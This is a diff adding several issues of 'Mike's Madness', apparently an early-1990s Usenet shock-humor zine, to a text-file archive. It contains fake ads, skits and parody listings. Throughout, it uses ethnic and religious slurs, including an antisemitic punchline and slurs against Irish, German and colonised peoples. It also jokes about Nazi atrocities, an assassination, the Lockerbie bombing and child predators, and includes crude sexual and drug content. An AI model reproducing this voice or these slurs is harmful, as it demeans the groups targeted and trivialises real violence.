Aaahhhh, aaahhh, AAH! (pant pant) Ohhhhhhh, ohhhh YES! Ahh. Suck me + harder! Ahhh! Oh god I'm going to COME! Ah! AHHHH! Ah? Uh..., why'd ya + quit? + +Woman: I read once that semen is made up of sugar. I have to think of + my figure, you know! + +Man: Oh, don't worry Honey -- this is Semen-Low! It's made with Nutra-Sweet. + So it's got half the calories of regular jizz, but it still has that + same great taste! + +Woman: Semen-Low, eh? I'll have to give it a try! (*SLUUUUUURP!*) + +(fade out) + +Voice Over: "Semen-Low -- Good to the last Swallow!" + + + + Juan Corona had a farm, + EE-II-EE-II-O + And on the farm he had some migrants . . . + + But not for long. + + + + Okay folks, from now on, anyone who uses this goofy ":-)" thing should +have their head submerged in a bucket of vomit for a period of not less +than 30 seconds. + +Penalties for other forms of computer kitsch: + +Variation Punishment +--------- ---------- +;-) Quite a hard kick to the groin +|-) A belt in the mouth +\-) Nipples pulled out 3 inches +:-> Death +:-< More death +:-/ Death, Death, Torture and Death +:-] Knees nailed together (approved by the Vatican) +:-[ Head sawn open +|-{ Forced to sniff a German's armpit +;-{ Twice! (No shit here guys -- you do this one and you should + have your nose surgically attached the left pit of + some bloated Austrian bastard named Hans who + recalls fondly that HIS Stuka wing took out more + orphanages than any other airwing in history. + Oh yeah, guys -- they do have people like this in + Bavaria. You meet 'em at Octoberfest where they + chortle with their pals as past glories are relived + in the fuzzed thinking that's usually associated + associated with 25 years of drinking. + "Hans," one'll chuckle, "you rotten Austrian + bastard, do you recall the vrail slip ov a girl ve + saw in Poland vun morning back in '44? Such a + fragile girl. Vas such shame da 500 pound + magnesium bomb vent ovv in vront of her." (HAAHAHA) + + +And now for a letter from one of my readers . . . + + Dear Mike, + + I admit that your column is occasionally funny (occasionally). +But I must wholly protest at this persecution of those of us who like to +use cheap and schlocky ASCII graphics. :-). HEY! LEGGO! No! NO! I'M SORRY! +I'LL NEVER DO IT AG- + +SPLUNGE! + + +BLUB BLUB BLUB BLUB BLUB . . . + + +And now . . . + +#14: Two bits about Germany +#14: Two bits about Germany + +Let's examine the idea of a unified Germany from a hysterical point of view. +Germans are nice people. They have nice families. They drive nice cars. +They're lead by a man named Helmut Kohl. + +The man's named after a head covering and a flammable rock! + + +[Nicely dressed lady standing by warm, crackling fire. Christmas music plays +in background. Stockings are hung by the fire with care. Unfortunately not +enough care, because they are all smoldering.] + +Lady: I love the Holidays. Giving presents, seeing old friends, getting +mindlessly smashed on Egg Nog and screwing the help. And all the wonderful +Christmas stories! But my kids have heard all those stories before! And +they're soooooo uneducational. Aren't there any Christmas stories that are +new and explore the childhood psychosis of German World War II leaders? + +Announcer: Funny you should ask that! + +Lady: There hasn't been anything remotely funny about this whole episode! + +[BANG!] [thud] + + * N E W T H I S C H R I S T M A S * + +Announcer: This Christmas, K-GEL and Oh Bloody Hell Records bring you a new +holiday story that reflects the "True Spirit Of Christmas" [(c), TM, RTM, 1990 +'La Grande Scam' Productions]. This Christmas, or whenever you've smoked far +too much dope, join us for this enchanting, heart-warming tale . . . + + +ADOLF HITLER MEETS SANTA CLAUS +------------------------------ + +(Before I began this, I'd better tell ya that a "vels" is the Germanic +pronunciation of "wels" [or Sheatfish], an enormous catfish that eats +people and lives nowhere near Austria, but only because of immigration +restrictions.) + +Santa: "Comen ze 'ere, A-dolf. You vas a naughty boy again zis year!" + +Hitler: "Nien! I vas gooten boy, Zanta! Honest!" + +"You vas a rotten bastard, you mean!" + +"I vas nice all year long!" + +"You ved your sishter to a vels, you little bastard!" + +"NEIN! She vell in der river!" + +"NEIN! You pushed her in vit der shtick! Und zen der vels e't her! Und you, +you vrotten Austrian bastard, you sat zere und laughed your ass off because +you vaz eattink der Flyshpeck mushrooms again!" + +"She vas a slut! She deserved to be ved to der vels!" + +"Vas about der Goldbergs?! You ved zem to der vels alzo! All zerteen vamilies +in der village! And vonce zey vas e't, you pushed in der extended vamily, der +help, neighbors who couldn't get avay, any stray animals you vound, der entire +101'st Airborne und half der Royal Cabinet. UND ZEY VAS ALL EATEN BY DER +BLOODY VELS! Did you know zat halv the zhipping in Duetchland has been +shtopped by a bloated, 7,000 ton catvish shtuck in der Rhine?!" + +"I have been gooten boy apart from zat!" + +"You lying bit of Teutonic nastiness! You stoned your art teacher to death!" + +"NEIN! WAS NOT STONINK MEIN DEAR ART TEACHER TO DEATH!" + +"Nein?" + +"Nein! I vas feedink him also to der vels!" + +"Und how many more unvortunate vretches did you feeded to der vels?" + +"Zeven!" + +"Zeven?" + +"Thouzand." + +"You are knowink vas you're gettink in der shtockink zis year, Adolf?" + +"A Panzer?" + +"Neinnnnnnn . . ." + +"A Shtuka?" + +"Ees wrong again!" + +"ACH! Is nicht gettink der coal AGAIN?" + +"YA! ZAT IS VRIGHT! CHOO ARE GETTINK DER COAL AGAIN!" + ----- +"MIEN KAMPF! I'VE BEEN JEWED!" + +"Und do somethink about zat horrible moustache!" + + +Also coming out this Christmas! + +First, there was the charming French (NOTE: This is the only place you've ever +seen "charming" and "French" next to each other in a sentence. "French" is +usually preceded by "obnoxious" or "revolting" and usually directly followed +by "were directly responsible for an act of terrorism against a peaceful +vessel anchored in neutral waters") movie "The Bear" + +>From Japan came "Milo and Otis" + +Now, from Duetchland Uber Allies Productions . . . + +Rudolf the Red-Nosed Reindeer meets an ME-109! +---------------------------------------------- +(Running time: 9 1/2 seconds) + + +"Death's Head Squadron - Rudolf at 4 o' clock!" + +"Ach-tu-leeben! Zere vill be venison ober Dusseldorf tonight!" + +[mmmmmmMMMMMMMMMMMMR R R R R R R A A A A W W !] +[* BR-R-R-R-R-R-R-R-ACK! BR-R-R-R-R-R-R-R-R-R-R-R-R-R-ACK! *] + +"Mayday! Mayday! This is Santa One! I'm hit! I'm hit! I'm going down over the +Rhineland! Donner and Blitzen are on fire and Rudolf's out completely! MAYDAY! +MAYDAY!" + +[cut to inside of a shabby cottage on the Rhine] + +Mother [to about 50 poorly dressed starving children]: I'm sorry children, +your father has been busted for sexually molesting a wallaby and is in der +klink. There'll be no venison for Christmas this year." + +[Bullet-ridden body of Rudolf falls through the roof, killing her instantly] + +Children: Hooray! We'll have venison! Hooray! + +[Santa's sled and six flaming reindeer crash brutally through the roof, +killing the whole lot]. + +THE END + +A "Ve Have Vays Of Making You Talk" Production + + +Coming soon to Cable! + +Ted Turner and the Roman Catholic Church present . . . + +- - - - - - - - - - - - - - - - - - - - - - - +J E S U S C H R I S T S U P E R S T A T I O N +- - - - - - - - - - - - - - - - - - - - - - - + +Available on your local cable network + +Price: 75 Hail Marys, 2 Our Fathers and 25 years in Purgatory. Consult your +local clergy before purchasing. + + +NEW from Fecal-Soft . . . + +Looking for adventure? +Looking for education? +Looking to blow $45 on utter garbage? + +LOOK NO FURTHER! + +It'ssssssssssss . . . + +-------------------------------------- +WHERE IN THE ZORK IS CARMEN SAN DIEGO? +-------------------------------------- + +We combine the finest text adventure ever written with the educational hit of +the 1980's! Just look at this exciting scene! + + +Carmen San Diego Room. +---------------------- + +This room is a large orifice carved into the solid granite of the mountain +side. Exits lead south and east. + +Carmen San Diego is standing here. +Your sword is glowing blue. + +>GET CARMEN SAN DIEGO +You must tell me sometime how to do that to the Carmen San Diego. + +>TAKE CARMEN +Which Carmen? The opera or Carmen San Diego? + +>SAN DIEGO +Not a fucking chance. + +>BASTARD! +Don't brag about your linage. + +>YOUR MOTHER WAS A HAMSTER AND YOUR FATHER SMELLED OF ELDERBERRIES. +Or Jesse Helms' + +>DIE! +"Never say die!" -- John-Luc Picard + +>THIS SUCKS! +So does your mother. + +>KILL CARMEN SAN DIEGO +Your breath won't reach that far. + +>GET ALL +Carmen San Diego: Taken. +No Carmen San Diego: Taken. + +You won. + +Your final score is 10 points out of -2. +This gives you the rank of Rank. + +C:\"GAMES"\CARMEN>PARITY ERROR 1. PLEASE RE-BOOT. + + +Also from Fecal-Soft: +--------------------- +Where in Sacramento is Carmen SanDiego? +Where in the Projects is Carmen SanDiego? +Where is the Bitch? + +AND COMING SOON! +---------------- +Leisure Suit Larry at the Happy Land Social Club! + +"No! I said a BUD Light!" + --- + + +* * * NOW AVAILABLE AT YOUR LOCAL K-MART * * * + +KIBBLES AND TITS! + AND TITS! + AND TITS! + +A good meal and a nice pair -- What more could your dog want? + + +Wholly repulsive and socially unacceptable drek written by: + +Mike "Keep on sendin' them foxes!" Beebe + +----- +(C) 1990 Yucks For You, Inc. + +Comments & Flames to Author: (Mike Beebe) + + OR + + +Mailing List Requests: smbancroft@ucdavis.edu (Steven Bancroft) diff --git a/textfiles.com/magazines/MIKE/mike24.txt b/textfiles.com/magazines/MIKE/mike24.txt new file mode 100644 index 00000000..3e24afd7 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike24.txt @@ -0,0 +1,439 @@ +Mike's Madness #24 + + Dude, when there's a flood comin', you should bail. + + No one needs to be told this. You know that when the water's +over the Buick, it's time to jam. I know the parakeet and the Barry +Manilow collection are back in the Airstream, but its far better to be +without a vinyl archive of badly drond crap and a shit machine with +feathers than buried under a stone that reads: + + Here lies + + [YOUR NAME HERE] + + BORN: Whenever + + DIED: After ignoring the 15th or 20th + warning and this huge ol' fuckin' flood + came barreling outta the mountains at + mach 8 and swept him/her and that ugly + goddamned green Gremlin he/she usedta + drive clean out to the Pacific where five + dolphins stole the car and drove it to + Jamaica where they traded it for 3 pounds + of bud and some naked pictures of Flipper. + + "This dude bailed much too late." + + + I watched this flood on CNN the other day. CNN: The 24 hour a +day misery channel. I shit you not - if there's some abject human +misery goin' on in the world, CNN is there. You see this shit all the +time! Like in Croatia, they got this poor goddamn woman sobbing her +lungs out because her husband and father of like 200 children stepped +on a goddamn landmine and his testicals bounced off the MIR space +station and there's fuckin' Peter Arnett askin' her how she feels +about the current conflict. How do you think she feels? She's gonna +have to whore for a living now, or worse - run for the presidency +under the name Patrick Buchanan. + + Actually, whenever I see that fat Irish bastard on TV, a day +pass for Hinkley doesn't seem like such a bad idea. I'd kinda like to +write a letter that says: + + "Dear Johnny, + + Waste that Mick fuck and I'll blow your nuts off. + + Signed - + Jodie" + +(can I get sued for that?). + + What bad acid dream did that scumbag crawl outta, anyway +(Buchanan, not Hinkley, tho' you should read the Nixon/Mussolini +sidenote down about 25 lines)? + + But I digress. + + So anyway, there was this flood down in Ventura County and +like people's trailers were all washin' out to the Pacific. DUDE! What +is it with mobile/trailer homes and natural disasters?! We already +know that Mobile Home == Tornado Magnet. Like "superconducting, +supercooled, electro-tornado" magnet. Tornados have been known to +travel miles out of their way to wreck mobile homes. Back in 1965, a +tornado got on a DC-10 in Newark, flew to Des Moines, got off the +plane, wrecked the fuck outta every mobile home within 12 light years, +got back on the plane, went back to New Jersey, got on another plane +and went to Atlantic City where it hit a $125,000 jackpot at the Trump +Castle and got a complimentary handjob from Marla Maples. It wasn't +the worst tornado in US history, but it had a very bad attitude and +had to stay after school several times in its youth. + + Maybe mobile trailer homes are like POT to tornados! You know, +when tornados are young and everything, they go to school and just +knock over stuff like billboards and the occasional outhouse, but +every now and then one knocks over a mobile home and it's a case of +'good tornado gone bad.' First it's just a mobile home or two, then +its wreckin' whole cities. + +JUST SAY NO TO MOBILE HOMES! (heh heh heh) + + Just where in the fuck does that fat swine Buchanan think he +can get off running for president after the shit he pulled under +Nixon?! Is our collective memory so bad that we have forgotten and +forgiven Tricky Dick and the armies of swine he fathered? We're all +"Oh, he was a victim." BULL-SHIT! He is guiltier than fuck, uglier +than a plane wreck and meaner than a shit eattin' dog with rabies. +People better than him have ended their days dangling from a lightpost +or catching bullets (or in the case of Benito Mussolini, both). I say +we string the bastard (Nixon, not Mussolini, tho' serious genetic +testing would be needed to truly know the difference) up and let A-10 +pilots use his corrupt, pus-filled body as target practice. I don't +really hate Richard Nixon, but God knows there ain't much to like +about the man. + + +Oh yeah, original thesis - "If there's a flood comin', you should bail." + +Y'know, people always do stupid shit during disasters. Example: + +TV announcer: "Dude! There's a huge ol' tornado coming! People living + in mobile homes are advised to get a life and move to + another state." + +Dumbfuck: "Eeewweeee! Looks like we're in for a heap-a weather! + Yessiree bob! Gonna blow harder than Jim Bakker after + lights out!" + +TV Announcer: "Dudes, BAIL!" + +Dumbfuck: "I think I'll just sit here and open a cold one and watch + WWF wrestling . . ." + +Tornado: "NO! - Fuck YOU!" + +TV Announcer: "Local dumbfuck Fred Tittwirller went off to +(1 day later) whatever white trash heaven his sort go to after a + tornado blew his mobile home halfway to Nevada. + He'll be missed - like a case of clap." + + So dude, if there's like a tornado, or hurricane, or flood, or +even your flatulent cousin Erine is coming, and even if you don't live +in a mobile home - BAIL! Grab your stash and make a dash, then stand +by while getting high! Remember - it's better to be a head than a +headline. + +Peace be with you. + + +And now . . . + +Some funny stuff + +(funny in the same sorta way that jokes about bestiality are funny. +And if you think such jokes are indeed humorous, you oughta love this). + + +NEXT TIME! + +ON AN + + * * ALL NEW * * + (previously viewed) + + * * ALL EXCITING * * + (somewhat) + + Star Trek - + The Next Generation: + +Young Ensign Crusher is caught touchin' 'imself and gets a +lecture from the Pope. + +YES - the POPE! + +The bastion of decency and the Catholic Way! + +A man who gets things done! + +A man who inspires pride in the hearts of all men! + +A man who fondles sheep! + +A man who -- + +(Wait a second, did we say "fondles sheep?". . . Uh, we meant "feels +real deep," like in "The Pope feels real deep about that thing goin' +on in Yugoslavia." That's what we meant. Um, can we start this again? +No? Errmmm . . . Uh.. PLAN B! PLAN B!) + + +# 62: Plan B +# 62: Plan B + +And now A bit about Sherlock Holmes. + +Biographical note: Sherlock Holmes, the greatest detective ever, was +the star of several books written in the Victorian era, when Britain +ruled the world and off-coloured toadies in far away lands minded +their own bloody business and didn't mewl on about freedom and +independence and all that tripe. + +Among them: + +o Mahatma Ghandi + +(NO! The books, not the toadies!) + +Among them: + +o Sherlock Holmes Almost Steps in Shit + +o Sherlock Homes and the Drippy Case of Clap + +o Drop Your Pants, Watson + +o Sherlock Holmes Beats the Living Snot Outta Some Poor Sot + for Sayin "No Shit Sherlock" in the Pull My Cock Pub. + +o Sherlock Holmes and the Naughty Reform School Girls + + (The Critics Rave! + + "Well Worth the Read!" + - W. Kennedy Smith, Jr. + + I liked it!" + - Right (and we do mean RIGHT) Honorable + (and reportedly very well hung) Clarence Thomas + + "Not Enough Pictures" + - R. Lowe, Actor (kinda) + + "Anyting da bitch said idda lie! I nebber touched da bitch!" + - M. Tyson, Up to His Ass in the Shit + + "I'll give anyone 5 quid who'll kick Yeltsin square in the + crotch" + - Anon. Soviet Leader who is soon to be out of a + job and will probably end up advertising Coca-Cola + or some such other financial whorery. + + "What's a clitoris?" + - D.Q., V.P. + (and we DON'T mean Dairy Queen despite the fact + he's about as smart as a Frosty) + ) + +o Sherlock Holmes and the Rank Ol' Beefer + (HINT: Watson ate beans and rock snails the night before. + No longer available in Scratch-'n'-Sniff version) + +o Sherlock Holmes Find His Ass in His Pants w/ Both Hands and a + Flashlight + +o Sherlock Holmes Listens to Roger Waters Drone on About 'is Bloody Father + For Like 6 CD's. + + (Oh yeah, dudes - you know Waters does it, too! Like 9 CD's + this fucker goes on. "Final Cut" - killer album, great + songs, wholly under-rated. Would be better called "My Father + Got Killed in a Bloody War and Now I Gotta Big ol' Chip on + My Shoulder". You wanna know how to piss Rog off? Go up to + him and say "Dude - didn't you usedta be in Pink Floyd?". Oh + yeah, dude! Totally sets 'im off and they gotta use like + 9000 cc of Thorazine to quiet the bastard back down again. + And whoever said "Nothing sucks like a Hoover" (I said it, + incidentally) never saw "The Wall at Berlin". Dudes, "sucks" + is an understatement. Fuckin' Cindy Lauper?! The whole show + should have been called "Roger Waters and his Massive Ego + Spend Untold Millions To Shoot Himself in the Foot in front + of Millions of People and No Small Number of Germans". Wanna + know another way to set Roger Waters off? Remind him that + record stores still sell "Momentary Lapse of Reason". Or + that Doctor Dimento is playin' cuts off of Berlin Wall on + his show. Matter fact, there's no small number of ways to + set Roger Waters off. David Gilmour will sell you a list of + at least 20,000 and Waters' home address for like 9p. + Dudes -- killer deal. Jump on it.) + +o Sherlock Holmes Earns 5 Quid From Some Russian + +o Sherlock Holmes Finds Watson's Ass in His Pants w/o the Flashlight + +o Sherlock Holmes and the Free Rectal Examin . . . + + RIGHT! + + STOP THAT! + + STOP THAT THIS MINUTE! + + We will NOT have slanderous tripe flung about that Sherlock +Holmes is in anyway a poofter! Sherlock Holmes is a man to whom +England owes much, even though he is as fictitious as a Democratic +victory in '92. Regardless, Mr. Holmes is a masculine sort of pederast +. . . MAN! who, uh, can we start this again? + + +SHERLOCK HOLMES +(NOT a poofter!) + + & + +BRUCIE +(Ahem, well . . .) + + in + +"HELLO SAN FRANCISCO - You Luscious Bitch!" +(Filmed in ButtslammOvision (tm)) + + + RIGHT! + + THAT'S IT! + + DO SOMETHING ELSE OR WE'RE HAULIN' YOU IN! + + +And now we present without further ado . . . + +* Should I have an enema or eat spaghetti? +* Should I drive my new Firebird offa Coastal 1? +* Should I blow $700 on 1-900 numbers? + +-Troubled by the uncertainty of life? +-Wish you knew more about the future so you could stop making a total + schmuck of yourself? +-Willing to throw massive amounts of cash down the sewer? + +THEN CALL MADAME CLOACA! + +* * * * Astrologer to the Stars! * * * * + +(i.e. Vega, Deneb, Castor, Pollux, etc. + NGC and Messier objects need not apply) + +Madame Cloaca has something for you, and it's a big, fat SCAM! +Eeew-eee! It's a ripe 'un, too! You can smell this fucker clear over +stateline! Yup, they don't hardly come bigger than that. Well, that +is if you don't include the Reagan administration. Actually, I wish we +hadn't. Oh yeah - Madame Cloaca, who almost predicted the tragic +explosion of the shuttle Challenger, who was almost right about that +last Superbowl and who could have foretold the comin' of Gorby if the +neighbor's HAM set hadn't screwed up her powers (despite what that +nasty judge said at the suit)! Madame Cloaca will make up some tripe +and record it on a tape and charge you a mere $275 a millisecond to +hear such startling revelations as: + +o God is comin' back and he's gonna open for Floyd! + +o Nancy Reagan will turn into a giant vagina and swallow up Orange +County. (Richly deserved, I say!) + +o Apple computers will come up with a computer that costs $23,000 and +runs at .5 mhz. + +o The Pope will hawk up a huge blood looge during Easter Mass in the +shape of the Virgin Mary. Dan Quayle eats it on a dare. + + (eeeeeeeeeeeeeeewwwwwwwww! Dude, have you ever had + like a REALLY bad cold and you got this ball of gunk + stuck between your nose and the back of your throat and + like your trying to suck this bastard out and you keep + pullin' on it all day and finally after you drink like hot + soup and give a final back-of-the-mouth suction pull, it + finally rips loose and fills your mouth with a wad of raw, + bacteria-laden, yellow phlegm the size of a tennis ball? + You know, the really sticky kind you can spit down the + side of a twelve story building and not break the strand? + The kind that's usually like this diseased, yellow color with + a huge, red, blood streak in it? Know the type? Well, I + hocked one at a horseback cop from the top of a four + story parking garage during some downtown rally I was + at, and I nailed the cop so hard it knocked his hat off! It + was a C&C (cold AND crank) lootch, too! I'm pretty + damn proud of that and I'm willing to tell this story to + friends and family members for a nominal speaking fee. I + even more willing NOT to tell this story to friends and + family for a slightly higher fee. Matter of fact, gimme a + $20 and I'll never tell anyone you read this crap. Write for + more details). + +o There will very soon be a re-edit of the ever-popular Rudolf the +Rednosed Reindeer . . . + + +Here's a little treat I was gonna release during Christmas, but +vehimate objections from several decency groups prevented me. +Well, Christmas is over, they've forgotten and I haven't. Will you +please clear your throats and hold your noses and join me in a +stirring round of - + +Rudolf the Red-Reared Reindeer +------------------------------ + +Rudolf the Red-Reared Reindeer +Always had the reindeer runs. +Gallons of foul ejecta +Sprayed from right between his buns +All of the other reindeer +Usedta cry and shout and scream +When they found shitty ol' Rudolf, +was gonna lead their reindeer teams. + +Then one stormy Christmas eve +Santa came to say: +"If one more shitstorm comes to pass +I'll jam this cork up Rudolf's ass!" + +All of the other reindeer +shouted out with joyful glee, + (I know it's an oxymoron, so shoot me.) +and Rudolf the Red-Reared Reindeer +Exploded over Lockerbie! + (Like a certain 7-4-7 . . .) + +I'm gonna burn in Hell for that one, I just know it . . . + +----- +Welp, solly it's only taken me like 3 years to write another one of these +things. Thanx to everybody who took upon themselves the absolutely +thankless task of writing and prodding me into cranking more of this +vicious tripe out. Special thanx to my tovarich in Florida (where men are +men and manatees are oft sore) who keeps an archive of this crap. Very +special thanx to my good friend and comrade Mr. Steven "I'm goin' back to +China, to China, to China" Bancroft (unix address below). He's the one who +fields the mail, edits the Madness and gets it out on the net. He does a +killer job and I owe him, and the rest of you dudes, much. + +Someone get me a fuckin' insulin shot before I keel. + +I lost 3 unpublished Madnesses to a vicious little fuck of a program called +"Speed Store" included with DR DOS 6.0. Both these programs should be +avoided like a drunken, L.A. cop and if I ever meet the fucker who wrote +that Speedstore piece of garbage, he's gonna answer to my 108 megs of lost +data with his ass. I think I'm not gonna be pickin' on Apple anymore. Heh +heh heh. + +S' be cool, bros. Catchya later! + +Noxious garbage parading around as reading material written by: + +Mike "Under an ounce is decriminalized? Sorry ossifer, I thought it was +under a POUND!" Beebe +----- +(C) 1992 Yucks For You, Inc. + +Comments & Flames to Author: Mike Beebe (currently has no mail address, send + all feedback to address below and they will be + forwarded to him.) + +Mailing List Requests: smbancroft@ucdavis.edu (Steven Bancroft) + +All Back-issues are available by E-mail request from +or by anonymous ftp from [128.227.224.1] in directory +/pub/mikesmad. "Thanks Eric!" diff --git a/textfiles.com/magazines/MIKE/mike25.txt b/textfiles.com/magazines/MIKE/mike25.txt new file mode 100644 index 00000000..4088b6ba --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike25.txt @@ -0,0 +1,203 @@ +Mike's Madness #25 + +For Anne. + + +- Tonight on - + + U N S O L V E D M Y S T E R I E S + - - - - - - - - - - - - - - - - - + + On March 25, 1952, water fell on the parched township of +Bigass, N. Dakota. The residents thought it was rain, but new evidence +points to a possible visit by Saint Sister Panama Canal, the famous +Spitting Nun of Paraguay . . . + + Wil Weaton had a gimme role on the most popular syndicated +series in history. Yet, for no apparent reason, he left the show to +star in such megahits as The Last Prostitute and Toy Soldiers. A lapse +of common sense, maybe -- but this man says that Brent Spiner was +putting LSD in Weaton's coke . . . and Weaton LOVED it! + + Hundreds of children walk across this seemingly quiet street +every day, and yet no one has attempted to kidnap, or even harass, a +single one. We'll show you perverts out there EXACTLY where this street +is at, and maybe YOU can provide us with a future segment on . . . + + U N S O L V E D M Y S T E R I E S + - - - - - - - - - - - - - - - - - + +(cue eerie "wooo-wooo" music) +(cut to commercial) + + +Woman 1: (shyly) June, I have a problem . . . +Woman 2: What is it, Nancy? +1: Well . . . it's that time of the month, I'm not fresh, my pad is + leaking, I'm constipated, and my hemorrhoids are killing me! +2: I have EXACTLY what you need! Disgusto Brand (tm) "Lil' Problem + Solver"! It's a douche, laxative, hemorrhoid balm and super-absorbant + maxi all in one! +1: BULLSHIT! +2: It really works! Just jam it in your panties then bounce in your + seat real hard! It works wonders! (just don't use it with white + pants) . . . +1: GET OFF! I'm not 'aving that filth 'round my place! +2: . . . Comes in cherry flavor . . . +1: Wellllllllll . . . Maybe I'll give it a try! +2: That's the spirit! Now get off my bloody sofa . . . + +Voice over: Disgusto Brands (tm) Personal Care Products for Hatefully + Disgusting Problems. Not for internal consumption. Keep + away from children and small animals. Not responsible for + any itching caused by misuse of product. + + +We now return to . . . + +UNSOLVED MYSTERIES! + + March 5, 1991. Humbolt, California. In this shady glade, 9,000 +acres of primo marijuana was reaching maturity. Careful cultivation of +the special hashplant+haze+northern lights #5 clones had assured that +each of the 15-foot-tall plants was an unpollinated female. Buds as +large as 25 pounds were reported by the locals. + + Then it all vanished. + + The only clue to this mystery is this white, 1973 Dodge +Charger and its sole occupant . . . Mr. Mike Beebe. + +Me: "DUDE! ALIENS! ALIENS STOLE THEM DUDE'S BUD! OH DUDE! IT WAS + HATEFUL! I was all kickin' it in my Charger listenin' to + Metallica 'cuz I was hella stoned . . . NO! I wasn't hella + stoned! I don't do that shit! So dude, I was tokin' on this + joint and this big ol' silver garbage can lid thing came down, + landed over there at the site now marked by the Humbolt UFO + Landing Site and Historic Museum (25 cents admission, please) and + these dudes all came out and snagged them dude's buds! I say we + organize a hunting party! Just can't go around stealin' people's + bud! Oh! Is that the time? Uh, gotta get these . . . ummmmm . . + errrm . . . damn this short-term memory loss . . . uuuhhh . . . + bails of marijuana . . . HAY! Bails of HAY down to Sacramento + before any cops see . . . before it rains. Gotta get these + bails of hay back down to Sacramento before it rains. Oh hey man + -- my joint went out! Gotta light, dude? Are those shot-guns + them dudes have? Uh - I really gotta bail, bud. Hope you catch + them aliens . . . I'm outta here . . ." + +[SCREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE +EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE +EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE +EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE] +(sound of 75 mile long burnout) + +Robert Stack: "While it may not be the crop circles of England, or the + famous Kelly Farm House encounter in Georgia, the Great + Humbolt Siting of 1991 will go down in history as a true + tale of a close encounter of the 5th kind - when aliens + come down and snag your bud!" + +Slightly peeved, baseball-bat wielding mob: "Hey - where'd that dude in + the Charger go?" + +(fade to commercial) + + +HEY MOMS! + +Why not treat the kids to something entertaining and educational? + +Take the little bastards to see . . . + + S T O N E R S O N I C E + - - - - - - - - - - - - + +An afternoon of enchantment with a powerful anti-drug message! +See vicious loadies culled from the public parks, head shops and white, +1973 Chargers of America on the ice in the awe-inspiring "Stagger of +the Third Bong Hit", the heart-warming "Rollin' a Jamaican", and the +grand-finale "I Got Three Pounds and Here Comes the Cops!". + +Don't let this valuable, only slightly expensive opportunity pass you +by! Cough up the $50 a ticket (under-12, matinee only. Adult tickets: +$300.00) and teach your progeny a lesson they won't soon forget: +Don't get loaded and go ice skating! + +A Bill Graham "Beyond The Grave" Production. + +"Beyond the Grave" owned by: + L. Ron Hubbard + Louis Lamore +And a host of other writers who, although dead, seem not to have given +it up yet. (Read that as: "Families of whom are greedy sonsabitches +and don't see anything wrong with whoring the dear name of their long +deceased relative in a bizarre form of financial necrophilia") + +ALSO COMING SOON FROM BILL GRAHAM - +* The Doors +* Led Zeppelin +* Mommas and the Poppas (I miss Cas, she was supposed to bring me back a + sandwich from Togos! And I gave her 5 bucks, too!) +* The Beatles (opening act: 3 More Bullets) +* Pink Floyd ("Well . . . 'e was was coughin' up blood last night!") +* Jimi and Janis: The Vomitgargling Tour +* Sammy "I'm like a cat's behind - one eye and I'm blind in it" Davis Jr. +* Disco (not!) +* Herman Goehring and the Hitlertones +* John F. Kennedy's "Gaping Head Wound" Tour '91-'92 +* Grateful Dead (coming soon) + + +We return you to . . . + +UNSOLVED MYSTERIES + +And now we update you on a case we profiled on a previous show. + +The object that millions of Americans saw streak out of the heavens +and crash into a field in New Hampshire has been identified as George +Bush's re-election chances. + +Please quit calling the 800 number now. + +NEXT WEEK ON UNSOLVED MYSTERIES we'll profile these intriguing cases: + +* Every year, millions of women get pregnant without ever knowing who + the father is. We believe we've cornered him. See the amazing career + of fertility doctor Cecil Jacobson. + +* While driving on this road in rural New Mexico, Pedro Jesus + Fernandez Gonzales Fredrico Pablo San Lucas saw an object at the + side of the road. It looked like a duck. It walked like a duck. + It quacked like a duck. What was it? 15 experts give us their opinions. + +* Was Vice President Dan Quayle assassinated in 1989 and replaced with + a wooden dummy? While it would be almost impossible to tell the + difference, staggering new evidence suggests that this indeed might + have happened. In the last 2 years, Quayle's IQ went up 10 points, + almost positive evidence that he has been replaced by something far + smarter than himself. + +(roll closing credits. Cue "wooo-wooo" music) + +----- + +This Madness writen under the influence of chocolate-covered coffee +beans, marijuana and Metallica. Better living through chemicals and +loud music, I say! + +Drek excreted by: + +Mike "Naw, that dog's always walked kinda funny" Beebe + +----- +(C) 1992 Yucks For You, Inc. + +Comments & Flames to Author: Mike Beebe (currently has no E-mail address. + Send all feedback to address below and it will + be forwarded to him.) + +All Back-issues are available by E-mail request from +or by anonymous ftp from (128.227.224.1) in directory +/pub/mikesmad. "Thanks Eric!" diff --git a/textfiles.com/magazines/MIKE/mike26.txt b/textfiles.com/magazines/MIKE/mike26.txt new file mode 100644 index 00000000..76ce9b9a --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike26.txt @@ -0,0 +1,545 @@ +Return-Path: +Received: from bikini.cis.ufl.edu by wasp.eng.ufl.edu (4.1/4.2) + id AA15111; Mon, 15 Mar 93 19:22:52 EST +Received: from aggie.ucdavis.edu by bikini.cis.ufl.edu (5.61ufl/2.35) + id AA21989; Mon, 15 Mar 93 19:22:39 -0500 +Received: from hamlet.ucdavis.edu by aggie.ucdavis.edu (5.61/UCD2.04) + id AA20480; Mon, 15 Mar 93 16:12:34 -0800 +Received: by hamlet.ucdavis.edu (5.57/UCD2.03) + id AA08731; Mon, 15 Mar 93 16:11:33 -0800 +From: smbancroft@ucdavis.edu (Steven Bancroft) +Date: Mon, 15 Mar 93 16:11:33 -0800 +Message-Id: <9303160011.AA08731@hamlet.ucdavis.edu> +To: esj@bikini.cis.ufl.edu +Subject: Mike's Madness #26 + +From: nobody@ucdavis.edu +Newsgroups: rec.humor +Subject: Mike's Madness #26 +Summary: +Followup-To: +Distribution: world +Organization: +Keywords: Mike's Madness #26 + +Good Evening and welcome to the Antique Shopper . . . + +Our first item is sent in by Mr. Thomas L. Scumbeater, and it's a wonderful +commemorative plate entitled "Who's a fat git, then?", specially +commissioned for His Majesty King Richard the XXIII on the occasion of his +consuming an entire baked horse during the Festival of Saint Flatulence in +1493. The plate is done in Crayola on Chinette and therefore isn't worth +the shit it would take to cover up this odious piece. + +Next on our parade is another commemorative item, this one created in 1850. +It's worth is zilch, however, as there is absolutely no interest in +collectable rectal thermometers, even if they do commemorate the discovery +of hemmorhoid balm. + +And finally, a wretched piece of garbage unsuitable for anything but lining +the bottom of nuclear waste dumps, issue #26 of Mike's 